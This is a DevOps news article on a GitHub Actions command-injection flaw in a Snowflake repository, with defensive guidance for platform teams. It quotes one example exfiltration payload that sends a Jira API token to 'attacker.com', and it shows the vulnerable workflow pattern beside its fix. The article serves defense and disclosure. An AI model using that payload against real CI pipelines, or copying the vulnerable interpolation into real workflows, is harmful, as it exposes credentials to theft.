DevOps

How a Crafted GitHub Issue Exposed Snowflake’s CI Credentials

A GitHub Actions workflow in Snowflake’s public repositories allowed arbitrary command injection through a crafted issue title and body, exposing internal Jira credentials to anyone who knew how to format a bug report. The disclosure, published by Wiz researchers this week, is a textbook example of a vulnerability class that has been documented and warned against for over a year — yet it still appears in the CI/CD pipelines of major enterprises.

The flaw was present in .github/workflows/jira_issue.yml within the snowflakedb/snowflake-connector-net repository. When a public issue was opened, the workflow inserted attacker-controlled values directly into a shell run: block. It also checked github.event.pull_request.user.login even though the triggering event was an issue, not a pull request. GitHub evaluates nonexistent properties to an empty string, so the check against a known bot username passed silently for ordinary users. The result: any public issue could reach the command execution step.

For platform and security teams, this is not a novel zero-day. It is a preventable pattern in an environment where the fix has been public knowledge since July 2025.

What the Vulnerable Workflow Did Wrong

The workflow had two compounding errors:

  • Trusted untrusted data: It interpolated github.event.issue.title and github.event.issue.body directly inside a shell command on the runner. Any special characters — backticks, dollar signs, pipes, semicolons — were evaluated by the shell before Jira ever saw them. The researchers demonstrated this by submitting a payload that triggered a callback from the runner and returned the Jira API token to their out-of-band listener.
  • Guard logic that did not guard: An attempt to block non-bot users by checking a pull request property on an issue event guaranteed the guard would fail. The empty-string fallback meant every issue passed the check.

The workflow also exposed three credentials in the same step where the command injection occurred: JIRA_BASE_URL, JIRA_USER_EMAIL, and JIRA_API_TOKEN. The token belonged to qa@snowflake.net and granted read access to Jira projects covering engineering, security compliance, and bug bounty tracking. Rotation happened after disclosure. There is no confirmed unauthorized access.

The vulnerable code reached the default branch on June 18, 2026, and was fixed on June 23. The exposure window was five days.

What GitHub Already Told Everyone to Do

In July 2025, GitHub’s security research team published a detailed guide on detecting and preventing exactly this class of workflow injection. The core recommendation has two parts:

  • Never expand untrusted context data inside a run: block. The github.event.* object, github.head_ref, and similar values are attacker-controlled when the trigger is a public issue, pull request comment, or discussion.
  • Use intermediate environment variables instead. Pass untrusted values through env: declarations, and reference only environment variables inside the shell block. This shifts the interpolation boundary so the shell receives a literal string, not an expression.

The corrected workflow, merged by Snowflake on June 23, follows this pattern exactly. The issue title and body are now passed as environment variables and piped into jq as arguments, rather than being interpolated directly into the shell command.

Here is the vulnerable pattern:

- name: Create Jira issue
  run: |
    curl -X POST ... \
      -d '{"summary": "${{ github.event.issue.title }}", "description": "${{ github.event.issue.body }}"}'

And the correct pattern:

- name: Create Jira issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_BODY: ${{ github.event.issue.body }}
  run: |
    jq -n \
      --arg title "$ISSUE_TITLE" \
      --arg body "$ISSUE_BODY" \
      '{"summary": $title, "description": $body}' | \
      curl -X POST ... -d @-

The difference is not cosmetic. In the first example, an issue body containing $(curl attacker.com/exfil?token=$JIRA_API_TOKEN) is executed by the shell. In the second, it is treated as a literal string argument to jq. The attacker still controls the content, but they no longer control what executes.

Why This Keeps Happening

CI/CD pipeline security has a structural incentive problem. Developers and DevOps engineers write workflows to automate tasks quickly. The GitHub Actions expression syntax — ${{ ... }} — makes it trivial to drop a variable anywhere in a workflow file. The gap between that convenience and the risk of interpolation in a shell context is not obvious until you have been bitten by it.

The automation tooling itself compounds the issue. Wiz noted that a GitHub Copilot Autofix change was among the co-authors of the pull request that introduced the vulnerable code. That does not mean Copilot wrote the injection — the commit history shows the vulnerable lines in an earlier commit — but it illustrates a broader point: automated code generation and refactoring tools inherit the security model of the examples they learn from. If the training data contains patterns that work in tests but fail under adversarial input, the generated code will replicate those failures at scale.

Platform teams are in the right position to prevent this, but only if they make it structurally hard to do the wrong thing. Code review alone is not enough. The Snowflake repository is public, the workflow review happened, and the flaw still reached the default branch.

What Platform Teams Should Do Now

There are three layers of defense that actually work for this problem.

1. Static Analysis in CI

Tools like GitHub’s own security scanning, zizmor, and other workflow analyzers can detect direct expression expansion in run: blocks before a pull request reaches review. These tools should be mandatory checks in the repositories where workflows live — not optional, not post-merge, but hard gates on every pull request that touches a .github/workflows/ file.

If your organization does not yet run workflow static analysis, start with a single repository that has public-facing triggers — issues, pull requests from forks, or discussions. Those are the highest risk, and they are also the easiest to scan because the triggers are visible in the YAML.

2. Environment Variable Pass-Through as Policy

Treat every use of ${{ }} inside a run: block as a security bug until proven otherwise. Your CI policy should require env: declarations for any workflow expression that reaches a shell context. This is not a linter preference. It is a security boundary, and it should be enforced the same way you enforce signed commits or branch protection.

For organizations with many repositories, consider a CI template or reusable workflow that wraps common operations — issue-to-ticket syncing, changelog generation, release note publishing — and never exposes the interpolation surface to repository authors directly. Give them inputs. Let the template handle the dangerous parts.

3. Segregate Credentials by Job

The Snowflake workflow exposed Jira credentials in the same job that processed untrusted issue data. Even if the command injection had been prevented through proper variable handling, the credential exposure was unnecessary. GitHub Actions supports job-level secrets and environment-level secrets. A job that needs to create a Jira ticket can run in a separate job from the job that parses the issue, with permissions granted only where needed.

The principle is well known: separate the data plane from the control plane. In CI/CD, that means the step that reads untrusted input should not be the same step that holds credentials. If the attacker’s payload can only affect a shell that has no secrets, the blast radius shrinks from “read your bug tracker” to “make a noisy curl request.”

Wider Signals

This disclosure comes at a moment when the CI/CD toolchain itself is evolving rapidly. GitHub Actions continues to expand its runner fleet, with the Windows 11 arm64 VS2026 image going generally available for standard and larger runners this week. Flux Mirror, released earlier this month, brings declarative artifact relocation with cosign verification to Kubernetes supply chains. The common thread is that the surface area of CI/CD is growing — more runners, more plugins, more automation — and the security model needs to keep pace.

The GitHub Actions workflow injection pattern is not sophisticated. It does not require a zero-day. It requires a public issue, a workflow that interpolates user input, and a credential stored as a repository secret. The barrier to exploitation for a motivated attacker is low, and the barrier for a defender who follows existing best practices is also low.

Platform teams should treat every public-facing workflow trigger as a trust boundary. That means reviewing workflows for injection, segregating credentials, and running static analysis before review — not after the fact.

Watch Items

  • Scope audit: Review all repositories with public issue or pull request triggers. Any run: block that references github.event.* is suspect.
  • Tooling gap: If you are not running workflow static analysis in CI, add it. zizmor and GitHub’s security scanning are both viable paths.
  • Copilot and Autofix awareness: Automated refactoring tools may replicate existing patterns, including insecure ones. Treat generated workflow changes the same as hand-written ones for security review.
  • Credential job segregation: Even workflows that handle trusted data should separate secret-holding jobs from parsing jobs. This limits the blast radius of any future injection vulnerability.
  • No CVE yet: As of the disclosure date, no CVE, CVSS score, or CISA Known Exploited Vulnerabilities catalog entry had been assigned. Do not wait for one to assess your own pipelines.

Sources